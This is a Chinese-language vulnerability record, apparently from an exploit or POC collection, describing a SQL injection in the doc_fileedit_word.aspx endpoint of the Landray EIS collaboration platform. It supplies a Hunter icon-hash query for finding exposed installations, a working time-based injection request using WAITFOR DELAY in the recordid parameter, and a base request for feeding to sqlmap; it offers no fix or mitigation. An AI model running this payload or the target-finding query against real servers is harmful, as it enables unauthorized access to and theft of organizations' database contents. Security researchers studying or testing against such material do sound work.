蓝凌 EIS智慧协同平台doc_fileedit_word接口SQL注入漏洞
一、漏洞简介
蓝凌智慧协同平台EIS以“让工作更智慧”为核心设计理念，面向成长型企业管理需求特别开发设计，旨在全面解决成长型企业的各种难题，蓝凌 EIS智慧协同平台doc_fileedit_word接口SQL注入漏洞，攻击者通过该漏洞获取数据库敏感信息。
二、影响版本
- 蓝凌EIS智慧协同办公平台
三、资产测绘
- hunter
web.icon=="585275a4cc54b8414554d03e1359a101"
- 特征
四、漏洞复现
GET /dossier/doc_fileedit_word.aspx?recordid=2015122918374828%27%3BWAITFOR%20DELAY%20%270:0:5%27--&edittype=1,1 HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
sqlmap
GET /dossier/doc_fileedit_word.aspx?recordid=2015122918374828&edittype=1,1 HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
蓝凌-EIS-doc-fileedit-word-sql注入_poc.yaml